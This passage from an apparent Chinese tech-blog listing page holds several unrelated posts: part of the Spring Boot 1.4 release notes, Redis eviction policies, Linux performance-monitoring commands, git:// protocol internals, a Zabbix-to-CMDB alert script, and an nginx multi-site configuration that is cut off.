        given(this.remoteService.someCall()).willReturn("mock");        String reverse = reverser.reverseSomeCall();
        assertThat(reverse).isEqualTo("kcom");
    }

}

You can also use @SpyBean if you want to spy on an existing bean rather than using a full mock.

See the mocking section of the reference documentation for more details.

Auto-configured tests

Full application auto-configuration is sometime overkill for tests, you often only want to auto-configure a specific "slice" of your application. Spring Boot 1.4 introduces a number of specialized test annotations that can be used for testing specific parts of your application:

  • @JsonTest - For testing JSON marshalling and unmarshalling.

  • @WebMvcTest - For testing Spring MVC @Controllers using MockMVC.

  • @RestClientTest - For testing RestTemplate calls.

  • @DataJpaTest - For testing Spring Data JPA elements

Many of the annotations provide additional auto-configuration that’s specific to testing. For example, if you use @WebMvcTest you can @Autowire a fully configured MockMvc instance.

See the reference documentation for details.

JSON AssertJ assertions

New JacksonTesterGsonTester and BasicJsonTester classes can be used in combination with AssertJ to test JSON marshalling and unmarshalling. Testers can be used with the @JsonTestannotation or directly on a test class:

@RunWith(SpringRunner.class)
@JsonTestpublic class MyJsonTests {    private JacksonTester json;    @Test
    public void testSerialize() throws Exception {        VehicleDetails details = new VehicleDetails("Honda", "Civic");
        assertThat(this.json.write(details)).isEqualToJson("expected.json");
        assertThat(this.json.write(details)).hasJsonPathStringValue("@.make");
    }

}

See the JSON section of the reference documentation or the Javadocs for details.

@RestClientTest

The @RestClientTest annotation can be used if you want to test REST clients. By default it will auto-configure Jackson and GSON support, configure a RestTemplateBuilder and add support forMockRestServiceServer.

Auto-configuration for Spring REST Docs

Combined with the support for auto-configuring MockMvc described above, auto-configuration for Spring REST Docs has been introduced. REST Docs can be enabled using the new@AutoConfigureRestDocs annotation. This will result in the MockMvc instance being automatically configured to use REST Docs and also removes the need to use REST Docs' JUnit rule. Please see the relevant section of the reference documentation for further details.

Test utilities

spring-boot-starter-test now brings the AssertJ assertions library.

Test utilities from the org.springframework.boot.test package have been moved to a spring-boot-test dedicated artifact.

Actuator info endpoint improvements

You can now use the InfoContributor interface to register beans that expose information to the/info actuator endpoint. Out of the box support is provided for:

  • Full or partial Git information generated from the git-commit-id-plugin Maven or gradle-git-properties Gradle plugin (set management.info.git.mode=full to expose full details)

  • Build information generated from the Spring Boot Maven or Gradle plugin.

  • Custom information from the Environment (any property starting info.*)

Details are documented in the "Application information" section of the reference docs.

MetricsFilter improvements

The MetricsFilter can now submit metrics in both the classic "merged" form, or grouped per HTTP method. Use endpoints.metrics.filter properties to change the configuration:

endpoints.metrics.filter.gauge-submissions=grouped
endpoints.metrics.filter.counter-submissions=grouped,merged

Spring Session JDBC Initializer

If Spring Session is configured to use the JDBC store, the schema is now created automatically on startup.

Secured connection for Artemis/HornetQ

Spring Boot now allows to connect against a secured Artemis/HornetQ broker.

Miscellaneous

  • server.jetty.acceptors and server.jetty.selectors properties have been added to configure the number of Jetty acceptors and selectors.

  • server.max-http-header-size and server.max-http-post-size can be used to constrain maximum sizes for HTTP headers and HTTP POSTs. Settings work on Tomcat, Jetty and Undertow.

  • The minimum number of spare threads for Tomcat can now be configured usingserver.tomcat.min-spare-threads

  • Profile negation in now supported in application.yml files. Use the familiar ! prefix inspring.profiles values

  • The actuator exposes a new headdump endpoint that returns a GZip compressed hprof heap dump file

  • Spring Mobile is now auto-configured for all supported template engines

  • The Spring Boot maven plugin allows to bundle system scoped artifacts using the newincludeSystemScope attribute

  • spring.mvc.log-resolved-exception enables the automatic logging of a warning when an exception is resolved by a HandlerExceptionResolver

  • spring.data.cassandra.schema-action you be used to customize the schema action to take on startup

  • Spring Boot’s fat jar format should now consume much less memory

  • Locale to Charset mapping is now supported via the spring.http.encoding.mapping. property

Spring Data "Ingalls" release train support

Spring Boot 1.4 GA ships with the Spring Data "Hopper" release out of the box. Users that would like to try the "Ingalls" release train (available in milestone one at the time of writing) can do so by just setting the spring-data-releasetrain.version property to Ingalls-M1 and declaring the Spring milestone repository.

Depending on what modules of Spring Data you use, you might have to upgrade a couple of transitive dependencies, too:

  • Spring Data REST users will have to upgrade to Spring HATEOAS 0.21 (set spring-hateoas.version to 0.21.0.RELEASE)

  • Spring Data Redis users using Jedis as driver will have to upgrade to 2.9 (set jedis.version to2.9.0)

Deprecations in Spring Boot 1.4

  • Velocity support has been deprecated since support has been deprecated as of Spring Framework 4.3.

  • Some constructors in UndertowEmbeddedServletContainer have been deprecated (most uses should be unaffected).

  • The locations and merge attributes of the @ConfigurationProperties annotation have been deprecated in favor of directly configuring the Environment.

  • The protected SpringApplication.printBanner method should no longer be used to print a custom banner. Use the Banner interface instead.

  • The protected InfoEndpoint.getAdditionalInfo method has been deprecated in favor of theInfoContributor interface.

  • org.springframework.boot.autoconfigure.test.ImportAutoConfiguration has been moved toorg.springframework.boot.autoconfigure.

  • All classes in the org.springframework.boot.test package have been deprecated. See the "upgrading" notes above for details.

  • PropertiesConfigurationFactory.setProperties(Properties) is deprecated in favor of usingPropertySources.

  • Several classes in the org.springframework.boot.context.embedded package have been deprecated and relocated to org.springframework.boot.web.servlet.

  • All classes in the org.springframework.boot.context.web package have been deprecated and relocated.

  • The spring-boot-starter-ws "Starter" has been renamed to spring-boot-starter-web-services.

  • The spring-boot-starter-redis "Starter" has been renamed to spring-boot-starter-data-redis.

  • The spring-boot-starter-hornetq starter and auto-configuration has been deprecated in favour of using spring-boot-starter-artemis

  • management.security.role has been deprecated in favour of management.security.roles

  • The @org.springframework.boot.orm.jpa.EntityScan annotation has been deprecated in favor of @org.springframework.boot.autoconfigure.domain.EntityScan or explicit configuration.

  • TomcatEmbeddedServletContainerFactory.getValves() has been deprecated in favor ofgetContextValves().

  • org.springframework.boot.actuate.system.EmbeddedServerPortFileWriter has been deprecated in favor of org.springframework.boot.system.EmbeddedServerPortFileWriter

  • org.springframework.boot.actuate.system.ApplicationPidFileWriter has been deprecated in favor of org.springframework.boot.system.ApplicationPidFileWriter

Property Renames

  • spring.jackson.serialization-inclusion should be replaced with spring.jackson.default-property-inclusion.

  • spring.activemq.pooled should be replaced with spring.activemq.pool.enabled.

  • spring.jpa.hibernate.naming-strategy should be replaced withspring.jpa.hibernate.naming.strategy.

  • server.tomcat.max-http-header-size should be replaced with server.max-http-header-size.


redis 設置過期Key 的 maxmemory-policy 六種方式

標籤:Redis 發佈於 2016-07-26 23:03:09

redis 的優化免不了要配置的項


redis 官方提供的 conf

https://raw.github.com/antirez/redis/2.2/redis.conf

中6中過期策略的具體方式。
redis 中的默認的過期策略是volatile-lru 。設置方式   

config set maxmemory-policy volatile-lru



maxmemory-policy 六種方式

  1. volatile-lru:只對設置了過期時間的key進行LRU(默認值) 

  2. allkeys-lru : 刪除lru算法的key   

  3. volatile-random:隨機刪除即將過期key   

  4. allkeys-random:隨機刪除   

  5. volatile-ttl : 刪除即將過期的   

  6. noeviction : 永不過期,返回錯誤  

十個強大的linux 命令

標籤:Linux 發佈於 2016-07-26 20:40:40
  • 1 打開一個終端,su到root賬號

  • 2 用你喜歡的編輯器(vi/emacs/...)打開/etc/inittab文件

  • 3 查找initdefault關鍵字,將「id:5:initdefault:」修改爲「id:3:initdefault:」

如果系統中根本就沒有/etc/inittab文件的話,也沒關係,直接創建這個文件,並添加新的一行「id:3」。這樣的話,你再重啓服務器,便會默認進入命令行狀態。當然,如果你只想在臨時進入命令行狀態,那麼直接在終端中輸入「init 3」就好了。

至此,我們的命令行準備好了,下面就可以開始通過強大的命令來查看「到底服務器裏發生了什麼」:

[01    - iostat       ]  [02/03 - meminfo/free ]  [04    - mpstat       ]  [05    - netstat      ]  [06    - nmon         ]  [07    - pmap         ]  [08/09 - ps/pstree    ]  [10    - sar          ]  [11    - strace       ]  [12    - tcpdump      ]  [13    - top          ]  [14    - uptime       ]  [15    - vmstat       ]  [16    - wireshark    ]

[01 - iostat]

iostat命令顯示的是你的存儲系統的細節狀態。你通常可以用這個命令去檢測你的存儲設備是否工作正常,

完全可以在用戶抱怨服務器慢之前,通過這個命令發現系統IO方面的問題。

如下可以看到iostat既可以顯示CPU使用情況,也可以看到每個磁盤的IO情況。

# iostat 1  Linux 2.6.32-220.4.1.el6.i686 (roclinux) 2012年12月22日 _i686_ (4 CPU)     avg-cpu: %user %nice %system %iowait %steal %idle  0.55 0.00 0.03 0.02 0.00 99.40     Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn  sdb 0.41 2.61 5.76 2558664 5653872  sda 0.24 0.80 4.12 784650 4038344

[02/03 - meminfo/free]

meminfo提供了很詳細的內存使用狀況。可以直接用cat命令查看:

cat /proc/meminfo

當然meminfo裏包含了太多細節,你可以直接使用free命令來查看有關內存的綜述。

# free -m  total used free shared buffers cached  Mem: 1513 1429 83 0 343 836  -/+ buffers/cache: 249 1263  Swap: 0 0 0

[04 - mpstat]

mpstat用在多處理器的服務器上,用來顯示每一個CPU的狀態。

另外,mpstat也會顯示所有處理器的平均狀況。

你可以設置顯示每個服務器的CPU統計信息,或者每個處理的CPU統計信息。

# mpstat -P ALL  Linux 2.6.32-220.4.1.el6.i686 (roclinux) 2012年12月22日 _i686_ (4 CPU)     17時46分35秒 CPU %usr %nice %sys %iowait %irq %soft %steal %guest %idle  17時46分35秒 all 0.55 0.00 0.03 0.02 0.00 0.00 0.00 0.00 99.40  17時46分35秒 0 0.84 0.00 0.04 0.03 0.00 0.01 0.00 0.00 99.08  17時46分35秒 1 0.51 0.00 0.03 0.02 0.00 0.00 0.00 0.00 99.44  17時46分35秒 2 0.45 0.00 0.02 0.01 0.00 0.00 0.00 0.00 99.51  17時46分35秒 3 0.40 0.00 0.02 0.01 0.00 0.00 0.00 0.00 99.56     # mpstat -P 0  Linux 2.6.32-220.4.1.el6.i686 (roclinux) 2012年12月22日 _i686_ (4 CPU)     17時46分39秒 CPU %usr %nice %sys %iowait %irq %soft %steal %guest %idle  17時46分39秒 0 0.84 0.00 0.04 0.03 0.00 0.01 0.00 0.00 99.08

其中各個域的含義簡述如下:

  • 1 CPU:處理器編號,如果爲all,則此行表示的是所有處理器的統計平均值

  • 2 %usr:用戶態的CPU利用率

  • 3 %nice:具有調度優先級的用戶態CPU利用率

  • 4 %sys:內核態CPU利用率(此值不包括響應硬件中斷和軟件中斷的時間)

  • 5 %iowait:處理IO請求導致CPU處於IDLE狀態的時間百分比

  • 6 %irq:CPU響應硬件中斷的時間比率

  • 7 %soft:CPU響應軟件中斷的時間比率

  • 8 %steal:當虛擬機監控器在服務於其他虛擬處理器時,虛擬CPU的被動等待時間比率

  • 9 %guest:運行一個虛擬處理器所消耗的CPU時間比率

[05 - netstat]

netstat命令,是Linux系統管理員幾乎每天都會用到的命令(它已經逐步在被ss命令取代),他可以顯示很多有關網絡方面的信息,例如socket使用情況、路由情況、網卡情況、協議情況、網絡流量統計等等。

一些常用的netstat選項包括:

  • -a : 顯示所有socke信息

  • -r : 顯示路由信息

  • -i : 顯示網卡藉口統計

  • -s : 顯示網絡協議統計

[06 - nmon]

nmon是Nigel’s Monitor的縮寫,它是一個很知名的監視Linux系統性能的工具。

nmon可以查看到處理器利用率、內存使用率、運行隊列信息、磁盤IO統計、網絡IO統計、換頁統計等。

你可以通過一個基於curses的類GUI界面來查看到上述信息。

nmon監控工具

[07 - pmap]

pmap命令可以顯示進程佔用的內存量。

你可以通過pmap找到那個佔用內存量最多的進程。

如下就是nignx主進程所佔用的內存情況:

# pmap 2395|head -n 10  2395: nginx: master process ./sbin/nginx  00110000 240K r-x-- /lib/libgssapi_krb5.so.2.2  0014c000 4K ----- /lib/libgssapi_krb5.so.2.2  0014d000 4K r---- /lib/libgssapi_krb5.so.2.2  0014e000 4K rw--- /lib/libgssapi_krb5.so.2.2  0014f000 12K r-x-- /lib/libcom_err.so.2.1  00152000 4K r---- /lib/libcom_err.so.2.1  00153000 4K rw--- /lib/libcom_err.so.2.1  00154000 48K r-x-- /lib/libnss_files-2.12.so  00160000 4K r---- /lib/libnss_files-2.12.so  ...  b78e4000 20K rw--- [ anon ]  b78f3000 4K rw-s- /dev/zero (deleted)  b78f4000 4K rw--- [ anon ]  bfeaa000 84K rw--- [ stack ]  total 7280K

[08/09 - ps/pstree]

ps和pstree在Linux系統裏是一對好兄弟,它們都是用來列出處於運行狀態的進程的列表的。

ps告訴我們每個進程使用的內存量以及所消耗的CPU時間。

pstree則會告訴我們進程間的父子關係,如下便是mysql的一些父子關係信息:

# pstree -p 1829  mysqld_safe(1829)───mysqld(2307)─┬─{mysqld}(2309)                                   ├─{mysqld}(2310)                                   ├─{mysqld}(2311)                                   ├─{mysqld}(2312)                                   ├─{mysqld}(2313)                                   ├─{mysqld}(2314)                                   ├─{mysqld}(2315)                                   ├─{mysqld}(2316)                                   ├─{mysqld}(2317)                                   ├─{mysqld}(2318)                                   ├─{mysqld}(2320)                                   ├─{mysqld}(2321)                                   ├─{mysqld}(2322)                                   ├─{mysqld}(2323)                                   ├─{mysqld}(2325)                                   ├─{mysqld}(2544)                                   ├─{mysqld}(2548)                                   ├─{mysqld}(7912)                                   ├─{mysqld}(7914)                                   ├─{mysqld}(7916)                                   ├─{mysqld}(24689)                                   ├─{mysqld}(27329)                                   └─{mysqld}(27331)

[10 - sar]

sar命令堪稱系統監控工具裏的瑞士軍刀。

sar命令實際上是由三個程序組成的,即sar(用於顯示數據)、sa1(用於採集數據)和sa2(用於存儲數據)。

sar可以涵蓋到CPU利用率信息、內存換頁信息、網絡IO傳輸信息、進程創建行爲和存儲設備行爲。

sar和nmon的最大區別在於,sar更適用於長期的系統監控,而nmon則更適用於快速查看信息。

如果希望更詳細的學習sar命令,可以閱讀《sar訪談》-linux命令五分鐘系列之二十九

[11 - strace]

starce經常被用來作爲追查程序問題的工具,但他的功能遠非如此。

它可以解析和記錄進程的系統調用行爲,這使得strace成爲了一個非常有用的診斷、調查和糾錯工具。

舉例來說,你可以適用strace來追查到一個程序在啓動之初所需加載的配置文件信息。

當然,strace也有它自身的缺陷,那就是strace會嚴重拖慢調查對象(某個進程)的性能和運行速度。

順便推薦一篇非常好的strace的文章:《strace使用詳解

另外,如果你使用MAC,strace的替代品是truss。

[12 - tcpdump]

tcpdump是一個簡單的、好用的網絡監控工具。它的網絡協議分析能力使得它能夠看清網絡中到底發生了什麼,如果你希望更細節的調查的話,可以考慮適用功能更爲強大的wireshark工具。

tcpdump的系列教程「在這裏」。

[13 - top]

top命令可以顯示系統中的進程信息。默認情況下,top會按照CPU使用率從高到低來顯示系統中的進程,並且每5秒刷新一次排行榜。

當然,你也可以讓top按照PID、進程壽命、CPU耗時、內存消耗等維度對進程進行排序。(我經常使用的是P和M快捷鍵,分別是按CPU利用率排序、按內存使用量排序)

通過top命令,你可以很快的發現那些失去控制或不符合預期的進程。

[14 - uptime]

通過uptime命令可以查看系統已經運行了多久,可以統計當前處於登陸狀態的用戶數量,還可以顯示當前服務器的負載情況。

# uptime  18:35:17 up 11 days, 9:30, 1 user, load average: 0.00, 0.00, 0.00

[15 - vmstat]

大多數情況下,你可以使用vmstat命令去查看系統的虛擬內存情況,因爲Linux通常會通過虛擬內存來獲得更好的存儲性能。

如果你的程序佔用了大量了內存,那麼系統會進行內存頁換出的動作,以便把程序從內存中移動到系統SWAP空間中,也就是硬盤中。

如果系統的內存頁的換入換出動作頻度超過一個臨界值,那麼這種狀態被叫做「Thrashing」。當系統處於thrashing狀態時,性能會急劇下降。

vmstat命令便可以幫助人們及時發現此類問題,找出那個拖慢系統的元兇。

# vmstat 1  procs -----------memory---------- ---swap-- -----io---- --system-- -----cpu-----  r b swpd free buff cache si so bi bo in cs us sy id wa st  2 0 0 57484 356864 861332 0 0 0 1 7 3 1 0 99 0 0  0 0 0 57468 356864 861360 0 0 0 0 336 145 6 1 94 0 0  0 0 0 57468 356864 861360 0 0 0 0 43 51 0 0 100 0 0  0 0 0 57468 356864 861360 0 0 0 16 51 62 0 0 100 0 0

[16 - wireshark]

Wireshark的前身叫做Ethereal,我們可以認爲wireshark是tcpdump命令的大師兄,因爲wireshark會更爲專業,也具有更高級的協議分析和統計能力。

Wireshark同時具有GUI界面和shell藉口。

如果你是一位資深的網絡管理員,那麼你一定使用過ethereal。而如果你正在使用wireshark/ethereal,那麼我推薦你閱讀Chris Sander的一本非常好的書《Practical Packet Analysis》。

GIT 傳輸協議實現

標籤:管理工具,其他 發佈於 2016-07-24 17:47:14


GIT 傳輸協議實現


在 GIT 的三種主流傳輸協議 HTTP SSH GIT 中,GIT 協議是最少被使用的協議(也就是 URL 以 git:// 開始的協議)。 這是由於 git 協議的權限控制幾乎沒有,要麼全部可讀,要麼全部可寫,要麼全部可讀寫。所以對於代碼託管平臺來說, git 協議的目的僅僅是爲了支持 公開項目的只讀訪問。

在 git 的各種傳輸協議中,git 協議無疑是最高效的,HTTP 受限於 HTTP 的特性,傳輸過程需要構造 HTTP 請求和響應。 如果是 HTTPS 還涉及到加密解密。另外 HTTP 的超時設置,以及包體大小限制都會影響用戶體驗。

而 SSH 協議的性能問題主要集中在加密解密上。當然相對於用戶的信息安全來說,這些代價都是可以接受。

git 協議實際上相當於 SSH 無加密無驗證,也就無從談起權限控制,但實際上代碼託管平臺內部的一些同步服務,如果使用 git 協議實現,將會得到很大的性能提升。


傳輸協議規範


git 協議的技術文檔可以從 git 源碼目錄的 Documentation/technical 找到,即 Packfile transfer protocols 創建 TCP 連接後,git 客戶端率先發送請求體,請求格式基於 BNF 的描述如下:

git-proto-request = request-command SP pathname NUL [ host-parameter NUL ]
request-command  = "git-upload-pack" / "git-receive-pack" / "git-upload-archive"; case sensitive
pathname       = *( %x01-ff ) ; exclude NUL
host-parameter   = "host=" hostname [ ":" port ]


一個例子如下:

0033git-upload-pack /project.git\0host=myserver.com\0

在 git 的協議中,pkt-line 是非常有意思的設計,行前 4 個字節表示整個行長,長度包括其前 4 字節, 但是有個特例,0000 其代表行長爲 0,但其自身長度是 4。

下面是一個關於請求的結構體:

struct GitRequest{    
    std::string command;    
    std::string path;    
    std::string host;
};

git 有自帶的 git-daemon 實現,這個服務程序監聽 9418 端口,在接收到客戶端的請求後,先要判斷 command 是 否是被允許的,git 協議中有 fetch 和 push 以及 archive 之類的操作,分別對應的服務器上的命令是 git-upload-pack git-receive-pack git-upload-archive。HTTP 只會支持前兩種,SSH 會支持三種,而 代碼託管平臺的 git 通常支持的 是 git-upload-pack git-upload-archive。

當不允許的命令被接入時需要發送錯誤信息給客戶端,這個信息在不同的 git-daemon 實現中也不一樣,大體 如下所示。

001bERR service not enabled

git-daemon 將對請求路徑進行轉換,以期得到在服務器上的絕對路徑,同時可以判斷路徑是否存在,不存在時 可以給客戶端發送 Repository Not Found。而 host 可能時域名也可能時 ip 地址,當然也可以包括端口。 服務器可以在這裏做進一步的限制,出於安全考慮應當考慮到請求是可以被僞造的。

客戶端發送請求過去後,服務器將啓動相應的命令,將命令標準錯誤和標準輸出的內容發送給客戶端,將客戶端 傳輸過來的數據寫入到命令的標準輸入中來。

在請求體中,命令爲 git-upload-pack /project.git 在服務器上運行時,就會類似

git-upload-pack ${RepositoriesRoot}/project.git

出於限制連接的目的,一般還會添加 --timeout=60 這樣的參數。timeout 並不是整個操作過程的超時。

與 HTTP 不同的是,git 協議的命令中沒有參數 --stateless-rpc 和 --advertise-refs ,在 HTTP 中,兩個參數都存在時, 只輸出存儲庫的引用列表與 capabilities,與之對於的是 GET /repository.git/info/refs?service=git-upload(receive)-pack , 當只有 --stateless-rpc 時,等待客戶端的數據,然後解析發送數據給客戶端,,與之對應的是 POST /repository.git/git-upload(receive)-pack


進程輸入輸出的讀寫


在 C 語言中,有 popen 函數,可以創建一個進程,並將進程的標準輸出或標準輸入創建成一個文件指針,即FILE* 其他可以使用 C 函數的語言很多也提供了類似的實現,比如 Ruby,基於 Ruby 的 git HTTP 服務器 grack 正是使用 的 popen,相比與其他語言改造的 popen,C 語言中 popen 存在了一些缺陷,比如無法同時讀寫,如果要輸出標準 錯誤,需要在命令參數中額外的將標準錯誤重定向到標準輸出。

在 musl libc 的中,popen 的實現如下:

FILE *popen(const char *cmd, const char *mode)
{
    int p[2], op, e;
    pid_t pid;
    FILE *f;
    posix_spawn_file_actions_t fa;

    if (*mode == 'r') {
        op = 0;
    } else if (*mode == 'w') {
        op = 1;
    } else {
        errno = EINVAL;
        return 0;
    }

    if (pipe2(p, O_CLOEXEC)) return NULL;
    f = fdopen(p[op], mode);
    if (!f) {
        __syscall(SYS_close, p[0]);
        __syscall(SYS_close, p[1]);
        return NULL;
    }
    FLOCK(f);

    /* If the child's end of the pipe happens to already be on the final
     * fd number to which it will be assigned (either 0 or 1), it must
     * be moved to a different fd. Otherwise, there is no safe way to
     * remove the close-on-exec flag in the child without also creating
     * a file descriptor leak race condition in the parent. */
    if (p[1-op] == 1-op) {
        int tmp = fcntl(1-op, F_DUPFD_CLOEXEC, 0);
        if (tmp < 0) {
            e = errno;
            goto fail;
        }
        __syscall(SYS_close, p[1-op]);
        p[1-op] = tmp;
    }

    e = ENOMEM;
    if (!posix_spawn_file_actions_init(&fa)) {
        if (!posix_spawn_file_actions_adddup2(&fa, p[1-op], 1-op)) {
            if (!(e = posix_spawn(&pid, "/bin/sh", &fa, 0,
                (char *[]){ "sh", "-c", (char *)cmd, 0 }, __environ))) {
                posix_spawn_file_actions_destroy(&fa);
                f->pipe_pid = pid;
                if (!strchr(mode, 'e'))
                    fcntl(p[op], F_SETFD, 0);
                __syscall(SYS_close, p[1-op]);
                FUNLOCK(f);
                return f;
            }
        }
        posix_spawn_file_actions_destroy(&fa);
    }
fail:
    fclose(f);
    __syscall(SYS_close, p[1-op]);

    errno = e;
    return 0;
}


在 Windows Visual C++ 中,popen 源碼在 C:\Program Files (x86)\Windows Kits\10\Source\${SDKVersion}\ucrt\conio\popen.cpp , 按照 MSDN 文檔說明,Windows 32 GUI 程序,即 subsystem 是 Windows 的程序,使用 popen 可能導致程序無限失去響應。

所以在筆者實現 git-daemon 及其他 git 服務器時,都不會使用 popen 這個函數。

爲了支持跨平臺和簡化編程,筆者在實現 svn 代理服務器時就使用了 Boost Asio 庫,後來也用 Asio 實現過一個 git 遠程命令服務, 每一個客戶端與服務器連接後,服務器啓動程序,需要創建 3 條管道,分別是 子進程的標準輸入 輸出 錯誤,即 stdout stdin stderr, 然後註冊讀寫異步事件,將子進程的輸出與錯誤寫入到 socket 發送出去,讀取 socket 寫入到子進程的標準輸入中。

在 POSIX 系統中,boost 有一個文件描述符類 boost::asio::posix::stream_descriptor 這個類不能是常規文件,以前用 go 做 HTTP 前端 沒注意就 coredump 掉。

在 Windows 系統中,boost 有文件句柄類 boost::asio::windows::stream_handle 此處的文件應當支持隨機讀取,比如命名管道(當然 在 Windows 系統的,匿名管道實際上也是命名管道的一種特例實現)。

以上兩種類都支持 async_read async_write ,所以可以很方便的實現異步的讀取。

上面的做法,唯一的缺陷是性能並不是非常高,代碼邏輯也比較複雜,當然好處是,錯誤異常可控一些。

在 Linux 網絡通信中,類似與 git 協議這樣讀取子進程輸入輸出的服務程序的傳統做法是,將 子進程的 IO 重定向到 socket, 值得注意的是 boost 中 socket 是異步非阻塞的,然而,git 命令的標準輸入標準錯誤標準輸出都是同步的,所以在 fork 子進程之 前,需要將 socket 設置爲同步阻塞,當 fork 失敗時,要設置回來。

socket_.native_non_blocking(false);

另外,爲了記錄子進程是否異常退出,需要註冊信號 SIGCHLD 並且使用 waitpid 函數去等待,boost 就有boost::asio::signal_set::async_wait 當然,如果你開發這樣一個服務,會發現,頻繁的啓動子進程,響應信號,管理連接,這些操作纔是性能的短板。

一般而言,Windows 平臺的 IO 並不能重定向到 socket,實際上,你如果使用 IOCP 也可以達到相應的效率。還有,Windows 的 socket API WSASocket WSADuplicateSocket 複製句柄 DuplicateHandle ,這些可以好好利用。


其他


對於非代碼託管平臺的從業者來說,上面的相關內容可能顯得無足輕重,不過,網絡編程都是殊途同歸,最後核心理念都是類似的。關於 git-daemon 如果筆者有時間會實現一個跨平臺的簡易版並開源。

CMDB機櫃平臺結合zabbix告警展示

標籤:系統運維,Linux 發佈於 2016-09-21 16:36:26

 Zabbix3.0入門到生產環境應用實戰視頻教程:

http://www.roncoo.com/course/view/fb3050a5b34b42f39ccad83ebebc89c1


龍果運維平臺開源項目地址:

https://github.com/roncoo/roncoo-cmdb


最近看了劉天斯老師的機櫃展示平臺,非常絢麗,而且有大屏顯示的話也是能夠體現運維價值的,這裏就說下我最近在做的CMDB平臺的一些數據:

CMDB數據:

 機房,機櫃,機櫃電源,機櫃位置,機房合同,合同到期時間,機房聯繫人。

 服務器,CPU,硬盤,是否虛擬化,宿主機,raid類型,內存。

 資產ID,上架日期,下架記錄,服務器代理商,代理商聯繫方式,服務器到保日期。

 IP地址,MAC地址,業務線,產品線,操作系統。


通信這塊主要技術json-rpc,然後提供Api接口給程序調用,按照固定格式導入即可;硬件固定信息,如IP,MAC,硬盤等信息,通過自動採集的API POST方式加入到數據表。像機房信息,機櫃之類的可以給機房抄送一份excel表格然後直接導入即可。


  機房服務器展示:通過把劉天斯老師機櫃暫時平臺的前端拿過來,然後結合到表結構裏面展示;在故障告警的時候,留有一個告警接口的API,通過zabbix 把告警數據發送到運維平臺;運維平臺入庫告警展示:下面是前端簡單展示效果,具體操作如下:

images/FcQw75DraeRMS45XGhidWTKzmdCa6FAX.png


前端機櫃生成效果顯示:閃爍效果直接獲取廠商的gif文件調用即可,機櫃命名方式比如下面的:5-6,5-7就分別表示第五排第六,第七個機櫃:


images/eRMAwNZ3dbW8n3Qw8eSwnDwQrH8TERjE.png


上面是正常顯示,當出現故障時候:就結合zabbix 告警腳本,發送過去給接口,故障如下:


images/eKcbdChpkGdY8YyjJCNS2QzHRRTKxAdB.png


images/8Ttfdz5AtxPybtea2wX7eeMjB7ekDGYi.png


鼠標移動到機櫃就顯示服務器的相關信息:


images/ffA6GcfZ5KBCmtDrbdMeeHNYdw5EKaKR.png



zabbix 的告警腳本並且發送狀態到運維平臺,並且更改服務器狀態:


[[email protected] alertscripts]# cat zabbix_alert.py 

#!/usr/bin/python

#coding:utf-8 

import requests,json 

import smtplib

from email.mime.text import MIMEText

import sys 

  

#郵箱服務器地址

mail_host = 'smtp.163.com'

#郵箱用戶名

mail_user = '[email protected]'

#郵箱密碼

mail_pass = 'xxxxxx123456'

mail_postfix = '163.com'

  

def send_mail(to_list,subject,content):

    me = mail_user+"

    msg = MIMEText(content)

    msg['Subject'] = subject

    msg['From'] = me

    msg['to'] = to_list 

  

    try:

        s = smtplib.SMTP()

        s.connect(mail_host)

        s.login(mail_user,mail_pass)

        s.sendmail(me,to_list,msg.as_string())

        s.close()

        return True

    except Exception,e:

        print str(e)

        return False

def alert(message):

    headers = {"Content-Type": "application/json"}

    data = {}

    res = {}

    data['status'] = message 

    res['params']=data

    res['jsonrpc'] = "2.0"

    res["id"] = 1

    res["method"]= "alert.turn"

    url = "http://192.168.63.216:2000/api"

    r = requests.post(url, headers=headers,json=res)

  

if __name__ == "__main__":

    send_mail(sys.argv[1], sys.argv[2], sys.argv[3])

    alert(sys.argv[2])


後端返回狀態改變之後直接入庫修改,我這邊只是判斷是否主題是PROBLEM或者OK:


前端代碼可以按照劉天斯老師的然後自己修改成jquery即可,前端可以去自由發揮,如下簡單樣例:


<table border="0" cellpadding="1" cellspacing="0" height="440" width="99%">    

<tbody><tr>    

<td class="jgtable" align="center" height="30" valign="bottom"><font class="jgtitle">01</font></td></tr>      

<td class="jgtable" align="center" height="30" valign="bottom">&nbsp;    

</td>    

</tr>    

<tr>    

<td class="jgtable" align="center" height="30" valign="bottom">&nbsp;    

</td>    

</tr>    

<tr>    

<td class="jgtable" align="center" height="30" valign="bottom">&nbsp;    

</td>    

</tr>    

<tr>    

<td class="jgtable" align="center" height="30" valign="bottom">&nbsp;    

</td>    

</tr>    

<tr>    

<td class="jgtable" align="center" height="30" valign="bottom">&nbsp;    

</td>    

</tr>    

</tbody></table>

Nginx多站點設置

標籤:JAVA 發佈於 2016-09-08 11:25:45

方法一:多個.conf方法(優點是靈活,缺點就是站點比較多配置起來麻煩)

這裏以配置2個站點(2個域名)爲例,n 個站點可以相應增加調整,假設:

IP地址: 202.55.1.100
域名1 example1.com 放在 /www/example1
域名2 example2.com 放在 /www/example2

配置 nginx virtual hosting 的基本思路和步驟如下:

把2個站點 example1.com, example2.com 放到 nginx 可以訪問的目錄 /www/
給每個站點分別創建一個 nginx 配置文件 example1.com.conf,example2.com.conf, 並把配置文件放到 /etc/nginx/vhosts/
然後在 /etc/nginx.conf 裏面加一句 include 把步驟2創建的配置文件全部包含進來(用 * 號)
重啓 nginx

具體過程

下面是具體的配置過程:

1、在 /etc/nginx 下創建 vhosts 目錄

mkdir /etc/nginx/vhosts

2、在 /etc/nginx/vhosts/ 裏創建一個名字爲 example1.com.conf 的文件,把以下內容拷進去

server {
        listen  80;
        server_name  example1.com www. example1.com;

        access_log  /www/access_ example1.log  main;

        location / {
            root   /www/example1.com;
            index  index.php index.html index.htm;
        }

        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   /usr/share/nginx/html;
        }

       # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
        location ~ .php$ {
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_param  SCRIPT_FILENAME  /www/example1.com/$fastcgi_script_name;
            include        fastcgi_params;
        }

        location ~ /.ht {
            deny  all;
        }
}

3、在 /etc/nginx/vhosts/ 裏創建一個名字爲 example2.com.conf 的文件,把以下內容拷進去

server {
        listen  80;
        server_name  example2.com www. example2.com;

        access_log  /www/access_ example1.log  main;

        location / {
            root   /www/example2.com;
            index  index.php index.html index.htm;
        }

        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   /usr/share/nginx/html;
        }

       # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
        location ~ .php$ {
